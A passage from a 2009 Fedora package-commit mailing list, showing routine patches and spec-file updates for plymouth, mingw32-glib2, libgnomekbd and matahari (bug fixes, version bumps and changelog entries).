+  ply_keyboard_free (state->keyboard);
   state->keyboard = NULL;
 }
 
-- 
1.6.5.rc2


>From d8835ebfd35724dd12ec6e6a4c7b303996a37066 Mon Sep 17 00:00:00 2001
From: Ray Strode <rstrode at redhat.com>
Date: Thu, 8 Oct 2009 15:33:40 -0400
Subject: [PATCH 2/4] [terminal] Only close terminal on free when open

We were closing the terminal twice, causing assertions
to blow.
---
 src/libplybootsplash/ply-terminal.c |    3 ++-
 1 files changed, 2 insertions(+), 1 deletions(-)

diff --git a/src/libplybootsplash/ply-terminal.c b/src/libplybootsplash/ply-terminal.c
index 462a4c6..8147e86 100644
--- a/src/libplybootsplash/ply-terminal.c
+++ b/src/libplybootsplash/ply-terminal.c
@@ -499,7 +499,8 @@ ply_terminal_free (ply_terminal_t *terminal)
                                            ply_terminal_detach_from_event_loop,
                                            terminal);
 
-  ply_terminal_close (terminal);
+  if (terminal->is_open)
+    ply_terminal_close (terminal);
 
   free (terminal);
 }
-- 
1.6.5.rc2


>From 78d610e82a9eebdce7ab43a6e3acfee1057f6a2c Mon Sep 17 00:00:00 2001
From: Ray Strode <rstrode at redhat.com>
Date: Thu, 8 Oct 2009 15:40:16 -0400
Subject: [PATCH 3/4] [main] remove displays before closing renderer

---
 src/main.c |    6 +++---
 1 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/src/main.c b/src/main.c
index 6f8c6bd..c309fab 100644
--- a/src/main.c
+++ b/src/main.c
@@ -604,6 +604,9 @@ quit_splash (state_t *state)
       state->boot_splash = NULL;
     }
 
+  ply_trace ("removing displays and keyboard");
+  remove_displays_and_keyboard (state);
+
   if (state->renderer != NULL)
     {
       ply_renderer_close (state->renderer);
@@ -618,9 +621,6 @@ quit_splash (state_t *state)
       state->terminal = NULL;
     }
 
-  ply_trace ("removing displays and keyboard");
-  remove_displays_and_keyboard (state);
-
   if (state->session != NULL)
     {
       ply_trace ("detaching session");
-- 
1.6.5.rc2


>From e938daa05b05d5517cec61fab7caf0df75e5fa14 Mon Sep 17 00:00:00 2001
From: Ray Strode <rstrode at redhat.com>
Date: Thu, 8 Oct 2009 15:41:06 -0400
Subject: [PATCH 4/4] [renderer] make input_source_close idempotent

---
 src/libplybootsplash/ply-renderer.c |   12 ++++++++++--
 1 files changed, 10 insertions(+), 2 deletions(-)

diff --git a/src/libplybootsplash/ply-renderer.c b/src/libplybootsplash/ply-renderer.c
index f7f3c90..0966418 100644
--- a/src/libplybootsplash/ply-renderer.c
+++ b/src/libplybootsplash/ply-renderer.c
@@ -52,6 +52,8 @@ struct _ply_renderer
   char *device_name;
   ply_terminal_t *terminal;
   ply_console_t *console;
+
+  uint32_t input_source_is_open : 1;
 };
 
 typedef const ply_renderer_plugin_interface_t *
@@ -321,8 +323,10 @@ ply_renderer_open_input_source (ply_renderer_t              *renderer,
   assert (renderer != NULL);
   assert (input_source != NULL);
 
-  return renderer->plugin_interface->open_input_source (renderer->backend,
-                                                        input_source);
+  renderer->input_source_is_open = renderer->plugin_interface->open_input_source (renderer->backend,
+                                                                                  input_source);
+
+  return renderer->input_source_is_open;
 }
 
 void
@@ -347,8 +351,12 @@ ply_renderer_close_input_source (ply_renderer_t              *renderer,
   assert (renderer != NULL);
   assert (input_source != NULL);
 
+  if (!renderer->input_source_is_open)
+    return;
+
   renderer->plugin_interface->close_input_source (renderer->backend,
                                                   input_source);
+  renderer->input_source_is_open = false;
 }
 
 /* vim: set ts=4 sw=4 expandtab autoindent cindent cino={.5s,(0: */
-- 
1.6.5.rc2



Index: plymouth.spec
===================================================================
RCS file: /cvs/pkgs/rpms/plymouth/F-12/plymouth.spec,v
retrieving revision 1.153
retrieving revision 1.154
diff -u -p -r1.153 -r1.154
--- plymouth.spec	7 Oct 2009 21:43:11 -0000	1.153
+++ plymouth.spec	8 Oct 2009 21:50:00 -0000	1.154
@@ -5,7 +5,7 @@
 Summary: Graphical Boot Animation and Logger
 Name: plymouth
 Version: 0.8.0
-Release: 0.2009.29.09.6%{?dist}
+Release: 0.2009.29.09.7%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source0: http://freedesktop.org/software/plymouth/releases/%{name}-%{version}.tar.bz2
@@ -34,6 +34,8 @@ Patch1: fix-text-password-crash.patch
 Patch2: fix-firstboot-on-intel.patch
 Patch3: fix-firstboot-on-radeon.patch
 Patch4: more-drm-fixes.patch
+Patch5: fix-emergency-shell.patch
+Patch6: fix-details-clear-screen.patch
 
 %description
 Plymouth provides an attractive graphical boot animation in
@@ -246,6 +248,8 @@ plugin.
 %patch2 -p1 -b .fix-firstboot-on-intel
 %patch3 -p1 -b .fix-firstboot-on-radeon
 %patch4 -p1 -b .more-drm-fixes
+%patch5 -p1 -b .fix-emergency-shell
+%patch6 -p1 -b .fix-details-clear-screen
 
 %build
 %configure --enable-tracing --disable-tests --without-boot-entry \
@@ -463,6 +467,10 @@ fi
 %defattr(-, root, root)
 
 %changelog
+* Thu Oct 08 2009 Ray Strode <rstrode at redhat.com> 0.8.0-0.2009.29.09.7
+- Fix emergency shell horkage (bug 526597)
+- Fix problem with details splash not showing up (bug 527426, bug 527254)
+
 * Wed Oct 07 2009 Ray Strode <rstrode at redhat.com> 0.8.0-0.2009.29.09.6
 - Fix the reason radeon single head users were affected.
 



From rstrode at fedoraproject.org  Thu Oct  8 21:59:39 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Thu,  8 Oct 2009 21:59:39 +0000 (UTC)
Subject: rpms/plymouth/F-12 plymouth.spec,1.154,1.155
Message-ID: <20091008215939.71EED11C00DB@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/plymouth/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24430

Modified Files:
	plymouth.spec 
Log Message:
up patch fuzz



Index: plymouth.spec
===================================================================
RCS file: /cvs/pkgs/rpms/plymouth/F-12/plymouth.spec,v
retrieving revision 1.154
retrieving revision 1.155
diff -u -p -r1.154 -r1.155
--- plymouth.spec	8 Oct 2009 21:50:00 -0000	1.154
+++ plymouth.spec	8 Oct 2009 21:59:38 -0000	1.155
@@ -1,6 +1,7 @@
 %define plymouthdaemon_execdir /sbin
 %define plymouthclient_execdir /bin
 %define plymouth_libdir /%{_lib}
+%define _default_patch_fuzz 999
 
 Summary: Graphical Boot Animation and Logger
 Name: plymouth



From epienbro at fedoraproject.org  Thu Oct  8 22:09:27 2009
From: epienbro at fedoraproject.org (epienbro)
Date: Thu,  8 Oct 2009 22:09:27 +0000 (UTC)
Subject: rpms/mingw32-glib2/devel .cvsignore, 1.11, 1.12 mingw32-glib2.spec, 
	1.19, 1.20 sources, 1.11, 1.12
Message-ID: <20091008220927.80D6711C00DB@cvs1.fedora.phx.redhat.com>

Author: epienbro

Update of /cvs/pkgs/rpms/mingw32-glib2/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26606/devel

Modified Files:
	.cvsignore mingw32-glib2.spec sources 
Log Message:
Update to 2.22.2



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-glib2/devel/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	23 Sep 2009 05:12:40 -0000	1.11
+++ .cvsignore	8 Oct 2009 22:09:26 -0000	1.12
@@ -1 +1 @@
-glib-2.22.0.tar.bz2
+glib-2.22.2.tar.bz2


Index: mingw32-glib2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-glib2/devel/mingw32-glib2.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- mingw32-glib2.spec	23 Sep 2009 12:20:37 -0000	1.19
+++ mingw32-glib2.spec	8 Oct 2009 22:09:26 -0000	1.20
@@ -6,7 +6,7 @@
 %define __debug_install_post %{_mingw32_debug_install_post}
 
 Name:           mingw32-glib2
-Version:        2.22.0
+Version:        2.22.2
 Release:        1%{?dist}
 Summary:        MinGW Windows GLib2 library
 
@@ -179,7 +179,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Wed Sep 23 2009 Erik van Pienbroek <epienbro at fedoraproject.org. - 2.22.0-1
+* Fri Oct  9 2009 Erik van Pienbroek <epienbro at fedoraproject.org> - 2.22.2-1
+- Update to 2.22.2
+
+* Wed Sep 23 2009 Erik van Pienbroek <epienbro at fedoraproject.org> - 2.22.0-1
 - Update to 2.22.0
 
 * Fri Sep 18 2009 Erik van Pienbroek <epienbro at fedoraproject.org> - 2.21.6-2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-glib2/devel/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	23 Sep 2009 05:12:40 -0000	1.11
+++ sources	8 Oct 2009 22:09:26 -0000	1.12
@@ -1 +1 @@
-e0bc5b08d467cc3763550923087772d3  glib-2.22.0.tar.bz2
+846a86c74b74d5b16826aa5508940f9b  glib-2.22.2.tar.bz2



From epienbro at fedoraproject.org  Thu Oct  8 22:09:27 2009
From: epienbro at fedoraproject.org (epienbro)
Date: Thu,  8 Oct 2009 22:09:27 +0000 (UTC)
Subject: rpms/mingw32-glib2/F-12 .cvsignore, 1.11, 1.12 mingw32-glib2.spec, 
	1.19, 1.20 sources, 1.11, 1.12
Message-ID: <20091008220927.84D5311C00EC@cvs1.fedora.phx.redhat.com>

Author: epienbro

Update of /cvs/pkgs/rpms/mingw32-glib2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26606/F-12

Modified Files:
	.cvsignore mingw32-glib2.spec sources 
Log Message:
Update to 2.22.2



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-glib2/F-12/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	23 Sep 2009 05:12:40 -0000	1.11
+++ .cvsignore	8 Oct 2009 22:09:25 -0000	1.12
@@ -1 +1 @@
-glib-2.22.0.tar.bz2
+glib-2.22.2.tar.bz2


Index: mingw32-glib2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-glib2/F-12/mingw32-glib2.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- mingw32-glib2.spec	23 Sep 2009 12:20:37 -0000	1.19
+++ mingw32-glib2.spec	8 Oct 2009 22:09:26 -0000	1.20
@@ -6,7 +6,7 @@
 %define __debug_install_post %{_mingw32_debug_install_post}
 
 Name:           mingw32-glib2
-Version:        2.22.0
+Version:        2.22.2
 Release:        1%{?dist}
 Summary:        MinGW Windows GLib2 library
 
@@ -179,7 +179,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Wed Sep 23 2009 Erik van Pienbroek <epienbro at fedoraproject.org. - 2.22.0-1
+* Fri Oct  9 2009 Erik van Pienbroek <epienbro at fedoraproject.org> - 2.22.2-1
+- Update to 2.22.2
+
+* Wed Sep 23 2009 Erik van Pienbroek <epienbro at fedoraproject.org> - 2.22.0-1
 - Update to 2.22.0
 
 * Fri Sep 18 2009 Erik van Pienbroek <epienbro at fedoraproject.org> - 2.21.6-2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-glib2/F-12/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	23 Sep 2009 05:12:40 -0000	1.11
+++ sources	8 Oct 2009 22:09:26 -0000	1.12
@@ -1 +1 @@
-e0bc5b08d467cc3763550923087772d3  glib-2.22.0.tar.bz2
+846a86c74b74d5b16826aa5508940f9b  glib-2.22.2.tar.bz2



From mclasen at fedoraproject.org  Thu Oct  8 22:16:11 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Thu,  8 Oct 2009 22:16:11 +0000 (UTC)
Subject: rpms/libgnomekbd/F-12
	0001-Properly-handle-scenario-when-one-keycode-has-multip.patch,
	NONE, 1.1 0002-Improved-indicator-background-handling.patch,
	NONE, 1.1 libgnomekbd.spec, 1.50, 1.51
Message-ID: <20091008221611.17B4E11C00DB@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/libgnomekbd/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28719

Modified Files:
	libgnomekbd.spec 
Added Files:
	0001-Properly-handle-scenario-when-one-keycode-has-multip.patch 
	0002-Improved-indicator-background-handling.patch 
Log Message:
Fixes for some visual glitches


0001-Properly-handle-scenario-when-one-keycode-has-multip.patch:
 ChangeLog                           |    6 +
 libgnomekbd/gkbd-keyboard-drawing.c |  109 ++++++++++++++++++++++--------------
 libgnomekbd/gkbd-keyboard-drawing.h |    4 -
 3 files changed, 77 insertions(+), 42 deletions(-)

--- NEW FILE 0001-Properly-handle-scenario-when-one-keycode-has-multip.patch ---
>From d1f0758a82776031184c73a8366d4bdca29e9bb9 Mon Sep 17 00:00:00 2001
From: Sergey V. Udaltsov <svu at gnome.org>
Date: Thu, 8 Oct 2009 22:42:47 +0100
Subject: [PATCH 1/2] Properly handle scenario when one keycode has multiple keys

https://bugzilla.gnome.org/show_bug.cgi?id=590954
---
 ChangeLog                           |    6 ++
 libgnomekbd/gkbd-keyboard-drawing.c |  109 ++++++++++++++++++++++-------------
 libgnomekbd/gkbd-keyboard-drawing.h |    3 +
 3 files changed, 77 insertions(+), 41 deletions(-)

diff --git a/ChangeLog b/ChangeLog
index 42189cd..574753e 100644
--- a/ChangeLog
+++ b/ChangeLog
@@ -1,3 +1,9 @@
+2009-10-08 svu
+
+	* libgnomekbd/gkbd-keyboard-drawing.c,
+	libgnomekbd/gkbd-keyboard-drawing.h: properly handling keycodes with
+	multiple keys, https://bugzilla.gnome.org/show_bug.cgi?id=590954
+
 2009-09-14 svu
 
 	* capplet/gkbd-indicator-plugins-capplet.c: fixing compiling on macos,
diff --git a/libgnomekbd/gkbd-keyboard-drawing.c b/libgnomekbd/gkbd-keyboard-drawing.c
index f02fb5e..da314d4 100644
--- a/libgnomekbd/gkbd-keyboard-drawing.c
+++ b/libgnomekbd/gkbd-keyboard-drawing.c
@@ -31,7 +31,7 @@
 #include <gkbd-keyboard-drawing.h>
 #include <gkbd-keyboard-drawing-marshal.h>
 
-#define noKBDRAW_DEBUG
+#define KBDRAW_DEBUG
 
 #define INVALID_KEYCODE ((guint)(-1))
 
@@ -998,8 +998,8 @@ draw_key (GkbdKeyboardDrawingRenderContext * context,
 
 	if (key->pressed)
 		color =
-		    &(GTK_WIDGET (drawing)->
-		      style->base[GTK_STATE_SELECTED]);
+		    &(GTK_WIDGET (drawing)->style->
+		      base[GTK_STATE_SELECTED]);
 	else
 		color = drawing->colors + key->xkbkey->color_ndx;
 
@@ -1097,8 +1097,9 @@ invalidate_indicator_doodad_region (GkbdKeyboardDrawing * drawing,
 			   doodad->doodad->indicator.left,
 			   doodad->origin_y +
 			   doodad->doodad->indicator.top,
-			   &drawing->xkb->geom->shapes[doodad->
-						       doodad->indicator.shape_ndx]);
+			   &drawing->xkb->geom->shapes[doodad->doodad->
+						       indicator.
+						       shape_ndx]);
 }
 
 static void
@@ -1112,8 +1113,8 @@ invalidate_key_region (GkbdKeyboardDrawing * drawing,
 			   key->angle,
 			   key->origin_x,
 			   key->origin_y,
-			   &drawing->xkb->geom->shapes[key->
-						       xkbkey->shape_ndx]);
+			   &drawing->xkb->geom->shapes[key->xkbkey->
+						       shape_ndx]);
 }
 
 static void
@@ -1265,7 +1266,11 @@ draw_keyboard_item (GkbdKeyboardDrawingItem * item,
 		return;
 
 	switch (item->type) {
+	case GKBD_KEYBOARD_DRAWING_ITEM_TYPE_INVALID:
+		break;
+
 	case GKBD_KEYBOARD_DRAWING_ITEM_TYPE_KEY:
+	case GKBD_KEYBOARD_DRAWING_ITEM_TYPE_KEY_EXTRA:
 		draw_key (context, drawing,
 			  (GkbdKeyboardDrawingKey *) item);
 		break;
@@ -1345,8 +1350,8 @@ alloc_render_context (GkbdKeyboardDrawing * drawing)
 	pango_layout_set_ellipsize (context->layout, PANGO_ELLIPSIZE_END);
 
 	context->font_desc =
-	    pango_font_description_copy (GTK_WIDGET (drawing)->
-					 style->font_desc);
+	    pango_font_description_copy (GTK_WIDGET (drawing)->style->
+					 font_desc);
 	context->angle = 0;
 	context->scale_numerator = 1;
 	context->scale_denominator = 1;
@@ -1661,8 +1666,8 @@ init_keys_and_doodads (GkbdKeyboardDrawing * drawing)
 				    drawing->xkb->geom->shapes +
 				    xkbkey->shape_ndx;
 				guint keycode = find_keycode (drawing,
-							      xkbkey->
-							      name.name);
+							      xkbkey->name.
+							      name);
 
 				if (keycode == INVALID_KEYCODE)
 					continue;
@@ -1679,9 +1684,24 @@ init_keys_and_doodads (GkbdKeyboardDrawing * drawing)
 
 				if (keycode >= drawing->xkb->min_key_code
 				    && keycode <=
-				    drawing->xkb->max_key_code)
+				    drawing->xkb->max_key_code) {
 					key = drawing->keys + keycode;
-				else {
+					if (key->type ==
+					    GKBD_KEYBOARD_DRAWING_ITEM_TYPE_INVALID)
+					{
+						key->type =
+						    GKBD_KEYBOARD_DRAWING_ITEM_TYPE_KEY;
+					} else {
+						/* duplicate key for the same keycode, 
+						   already defined as GKBD_KEYBOARD_DRAWING_ITEM_TYPE_KEY */
+						key =
+						    g_new0
+						    (GkbdKeyboardDrawingKey,
+						     1);
+						key->type =
+						    GKBD_KEYBOARD_DRAWING_ITEM_TYPE_KEY_EXTRA;
+					}
+				} else {
 					g_warning
 					    ("key %4.4s: keycode = %u; not in range %d..%d\n",
 					     xkbkey->name.name, keycode,
@@ -1691,10 +1711,10 @@ init_keys_and_doodads (GkbdKeyboardDrawing * drawing)
 					key =
 					    g_new0 (GkbdKeyboardDrawingKey,
 						    1);
+					key->type =
+					    GKBD_KEYBOARD_DRAWING_ITEM_TYPE_KEY_EXTRA;
 				}
 
-				key->type =
-				    GKBD_KEYBOARD_DRAWING_ITEM_TYPE_KEY;
 				key->xkbkey = xkbkey;
 				key->angle = section->angle;
 				rotate_coordinate (section->left,
@@ -1758,9 +1778,8 @@ init_colors (GkbdKeyboardDrawing * drawing)
 
 	for (i = 0; i < drawing->xkb->geom->num_colors; i++) {
 		result =
-		    parse_xkb_color_spec (drawing->xkb->geom->
-					  colors[i].spec,
-					  drawing->colors + i);
+		    parse_xkb_color_spec (drawing->xkb->geom->colors[i].
+					  spec, drawing->colors + i);
 
 		if (!result)
 			g_warning
@@ -1780,19 +1799,15 @@ free_cdik (			/*colors doodads indicators keys */
 
 	for (itemp = drawing->keyboard_items; itemp; itemp = itemp->next) {
 		GkbdKeyboardDrawingItem *item = itemp->data;
-		GkbdKeyboardDrawingKey *key;
 
 		switch (item->type) {
-		case GKBD_KEYBOARD_DRAWING_ITEM_TYPE_DOODAD:
-			g_free (item);
+		case GKBD_KEYBOARD_DRAWING_ITEM_TYPE_INVALID:
+		case GKBD_KEYBOARD_DRAWING_ITEM_TYPE_KEY:
 			break;
 
-		case GKBD_KEYBOARD_DRAWING_ITEM_TYPE_KEY:
-			key = (GkbdKeyboardDrawingKey *) item;
-			if (key->keycode < drawing->xkb->min_key_code ||
-			    key->keycode > drawing->xkb->max_key_code)
-				g_free (key);
-			/* otherwise it's part of the array */
+		case GKBD_KEYBOARD_DRAWING_ITEM_TYPE_KEY_EXTRA:
+		case GKBD_KEYBOARD_DRAWING_ITEM_TYPE_DOODAD:
+			g_free (item);
 			break;
 		}
 	}
@@ -1863,8 +1878,8 @@ xkb_state_notify_event_filter (GdkXEvent * gdkxev,
 
 				for (i = 0;
 				     i <=
-				     drawing->xkb->
-				     indicators->phys_indicators; i++)
+				     drawing->xkb->indicators->
+				     phys_indicators; i++)
 					if (drawing->physical_indicators[i]
 					    != NULL
 					    && (iev->changed & 1 << i)) {
@@ -1874,27 +1889,33 @@ xkb_state_notify_event_filter (GdkXEvent * gdkxev,
 
 						if ((state
 						     &&
-						     !drawing->physical_indicators
+						     !drawing->
+						     physical_indicators
 						     [i]->on) || (!state
 								  &&
-								  drawing->physical_indicators
-								  [i]->on))
-						{
-							drawing->physical_indicators
+								  drawing->
+								  physical_indicators
+								  [i]->
+								  on)) {
+							drawing->
+							    physical_indicators
 							    [i]->on =
 							    state;
 							create_cairo
 							    (drawing);
 							draw_doodad
-							    (drawing->renderContext,
+							    (drawing->
+							     renderContext,
 							     drawing,
-							     drawing->physical_indicators
+							     drawing->
+							     physical_indicators
 							     [i]);
 							destroy_cairo
 							    (drawing);
 							invalidate_indicator_doodad_region
 							    (drawing,
-							     drawing->physical_indicators
+							     drawing->
+							     physical_indicators
 							     [i]);
 						}
 					}
@@ -2135,9 +2156,15 @@ gkbd_keyboard_drawing_get_pixbuf (GkbdKeyboardDrawing * drawing)
 	return gdk_pixbuf_get_from_drawable (NULL, drawing->pixmap, NULL,
 					     0, 0, 0, 0,
 					     xkb_to_pixmap_coord (context,
-								  drawing->xkb->geom->width_mm),
+								  drawing->
+								  xkb->
+								  geom->
+								  width_mm),
 					     xkb_to_pixmap_coord (context,
-								  drawing->xkb->geom->height_mm));
+								  drawing->
+								  xkb->
+								  geom->
+								  height_mm));
 }
 
 /**
@@ -2168,8 +2195,8 @@ gkbd_keyboard_drawing_render (GkbdKeyboardDrawing * drawing,
 		cr,
 		drawing->renderContext->angle,
 		layout,
-		pango_font_description_copy (GTK_WIDGET (drawing)->
-					     style->font_desc),
+		pango_font_description_copy (GTK_WIDGET (drawing)->style->
+					     font_desc),
 		1, 1,
 		&GTK_WIDGET (drawing)->style->dark[GTK_WIDGET_STATE
 						   (GTK_WIDGET (drawing))]
diff --git a/libgnomekbd/gkbd-keyboard-drawing.h b/libgnomekbd/gkbd-keyboard-drawing.h
index 93f0fa7..c51a7f6 100644
--- a/libgnomekbd/gkbd-keyboard-drawing.h
+++ b/libgnomekbd/gkbd-keyboard-drawing.h
@@ -42,7 +42,9 @@ typedef struct _GkbdKeyboardDrawingRenderContext
  GkbdKeyboardDrawingRenderContext;
 
 typedef enum {
+	GKBD_KEYBOARD_DRAWING_ITEM_TYPE_INVALID = 0,
 	GKBD_KEYBOARD_DRAWING_ITEM_TYPE_KEY,
+	GKBD_KEYBOARD_DRAWING_ITEM_TYPE_KEY_EXTRA,
 	GKBD_KEYBOARD_DRAWING_ITEM_TYPE_DOODAD
 } GkbdKeyboardDrawingItemType;
 
@@ -128,6 +130,7 @@ struct _GkbdKeyboardDrawing {
 
 	GkbdKeyboardDrawingRenderContext *renderContext;
 
+	/* Indexed by keycode */
 	GkbdKeyboardDrawingKey *keys;
 
 	/* list of stuff to draw in priority order */
-- 
1.6.5.rc2


0002-Improved-indicator-background-handling.patch:
 ChangeLog                    |    3 +++
 libgnomekbd/gkbd-indicator.c |    2 +-
 2 files changed, 4 insertions(+), 1 deletion(-)

--- NEW FILE 0002-Improved-indicator-background-handling.patch ---
>From f152783de4f4dc82d757468dfc738d12390ffcbc Mon Sep 17 00:00:00 2001
From: Sergey V. Udaltsov <svu at gnome.org>
Date: Thu, 8 Oct 2009 22:52:42 +0100
Subject: [PATCH 2/2] Improved indicator background handling

https://bugzilla.gnome.org/show_bug.cgi?id=587510
---
 ChangeLog                    |    3 +++
 libgnomekbd/gkbd-indicator.c |    1 +
 2 files changed, 4 insertions(+), 0 deletions(-)

diff --git a/ChangeLog b/ChangeLog
index 574753e..3d4a437 100644
--- a/ChangeLog
+++ b/ChangeLog
@@ -3,6 +3,9 @@
 	* libgnomekbd/gkbd-keyboard-drawing.c,
 	libgnomekbd/gkbd-keyboard-drawing.h: properly handling keycodes with
 	multiple keys, https://bugzilla.gnome.org/show_bug.cgi?id=590954
+	* libgnomekbd/gkbd-indicator.c: improved background handling by making
+	event box invisible
+	https://bugzilla.gnome.org/show_bug.cgi?id=587510
 
 2009-09-14 svu
 
diff --git a/libgnomekbd/gkbd-indicator.c b/libgnomekbd/gkbd-indicator.c
index 0b43f85..2fb388a 100644
--- a/libgnomekbd/gkbd-indicator.c
+++ b/libgnomekbd/gkbd-indicator.c
@@ -217,6 +217,7 @@ gkbd_indicator_prepare_drawing (GkbdIndicator * gki, int group)
 
 	pimage = g_slist_nth_data (globals.ind_cfg.images, group);
 	ebox = gtk_event_box_new ();
+	gtk_event_box_set_visible_window (GTK_EVENT_BOX (ebox), FALSE);
 	if (globals.ind_cfg.show_flags) {
 		GtkWidget *flag;
 		if (pimage == NULL)
-- 
1.6.5.rc2



Index: libgnomekbd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libgnomekbd/F-12/libgnomekbd.spec,v
retrieving revision 1.50
retrieving revision 1.51
diff -u -p -r1.50 -r1.51
--- libgnomekbd.spec	24 Sep 2009 00:09:20 -0000	1.50
+++ libgnomekbd.spec	8 Oct 2009 22:16:10 -0000	1.51
@@ -27,6 +27,10 @@ Requires(pre): GConf2
 Requires(post): GConf2
 Requires(preun): GConf2
 
+# upstream fixes
+Patch0: 0001-Properly-handle-scenario-when-one-keycode-has-multip.patch
+Patch1: 0002-Improved-indicator-background-handling.patch
+
 %description
 The libgnomekbd package contains a GNOME library which manages
 keyboard configuration and offers various widgets related to
@@ -59,6 +63,8 @@ of the keyboard indicator applet.
 
 %prep
 %setup -q
+%patch0 -p1 -b .multiple-keys
+%patch1 -p1 -b .indicator-background
 
 %build
 %configure --disable-static --enable-compile-warnings=no
@@ -128,6 +134,9 @@ touch --no-create %{_datadir}/icons/hico
 
 
 %changelog
+* Thu Oct  8 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-2
+- Incorporate visual fixes from upstream
+
 * Wed Sep 23 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-1
 - Update to 2.28.0
 



From mclasen at fedoraproject.org  Thu Oct  8 22:22:11 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Thu,  8 Oct 2009 22:22:11 +0000 (UTC)
Subject: rpms/libgnomekbd/F-12 libgnomekbd.spec,1.51,1.52
Message-ID: <20091008222211.615BB11C00DB@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/libgnomekbd/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32014

Modified Files:
	libgnomekbd.spec 
Log Message:
bump rev



Index: libgnomekbd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libgnomekbd/F-12/libgnomekbd.spec,v
retrieving revision 1.51
retrieving revision 1.52
diff -u -p -r1.51 -r1.52
--- libgnomekbd.spec	8 Oct 2009 22:16:10 -0000	1.51
+++ libgnomekbd.spec	8 Oct 2009 22:22:10 -0000	1.52
@@ -1,6 +1,6 @@
 Name:           libgnomekbd
 Version:       	2.28.0
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        A keyboard configuration library
 
 Group:          System Environment/Libraries



From arjunroy at fedoraproject.org  Thu Oct  8 22:35:35 2009
From: arjunroy at fedoraproject.org (Arjun Roy)
Date: Thu,  8 Oct 2009 22:35:35 +0000 (UTC)
Subject: rpms/matahari/devel import.log, 1.1, 1.2 matahari.spec, 1.3,
	1.4 sources, 1.2, 1.3
Message-ID: <20091008223535.5870911C00DB@cvs1.fedora.phx.redhat.com>

Author: arjunroy

Update of /cvs/pkgs/rpms/matahari/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3501/devel

Modified Files:
	import.log matahari.spec sources 
Log Message:
Updated to work with new qpic/qmf.




Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/matahari/devel/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	22 Jul 2009 14:37:53 -0000	1.1
+++ import.log	8 Oct 2009 22:35:33 -0000	1.2
@@ -1 +1,2 @@
 matahari-0_0_4-4_fc11:HEAD:matahari-0.0.4-4.fc11.src.rpm:1248273178
+matahari-0_0_4-7_fc11:HEAD:matahari-0.0.4-7.fc11.src.rpm:1255041270


Index: matahari.spec
===================================================================
RCS file: /cvs/pkgs/rpms/matahari/devel/matahari.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- matahari.spec	2 Oct 2009 23:05:08 -0000	1.3
+++ matahari.spec	8 Oct 2009 22:35:33 -0000	1.4
@@ -1,7 +1,7 @@
 Summary: Qpid QMF Agent for Ovirt Nodes
 Name: matahari
 Version: 0.0.4
-Release: 6%{?dist}
+Release: 7%{?dist}
 Source: http://arjunroy.fedorapeople.org/matahari/matahari-0.0.4.tar.gz
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 License: GPLv2
@@ -10,16 +10,16 @@ URL: http://arjunroy.fedorapeople.org/ma
 
 Requires: dbus >= 1.2.12
 Requires: hal >= 0.5.12
-Requires: qpidc >= 0.5.790661
-Requires: qmf >= 0.5.790661
+Requires: qpidc >= 0.5.819819
+Requires: qmf >= 0.5.819819
 Requires: libvirt >= 0.6.2
 Requires: pcre >= 7.8
 
 BuildRequires: gcc-c++ >= 4.4.0
 BuildRequires: dbus-devel >= 1.2.12
 BuildRequires: hal-devel >= 0.5.12
-BuildRequires: qpidc-devel >= 0.5.790661
-BuildRequires: qmf-devel >= 0.5.790661
+BuildRequires: qpidc-devel >= 0.5.819819
+BuildRequires: qmf-devel >= 0.5.819819
 BuildRequires: libvirt-devel >= 0.6.2
 BuildRequires: pcre-devel >= 7.8
 
@@ -37,9 +37,6 @@ as a set of objects with properties and 
 
 %prep
 %setup -q
-# these libraries got renamed in the latest qmf
-sed -i -e 's/-lqmfagent -lqmfcommon/-lqmfengine -lqmf/g' src/Makefile.am
-sed -i -e 's/-lqmfagent -lqmfcommon/-lqmfengine -lqmf/g' src/Makefile.in
 
 %build
 %configure
@@ -79,6 +76,10 @@ test "x%{buildroot}" != "x" && rm -rf %{
 %doc AUTHORS COPYING
 
 %changelog
+
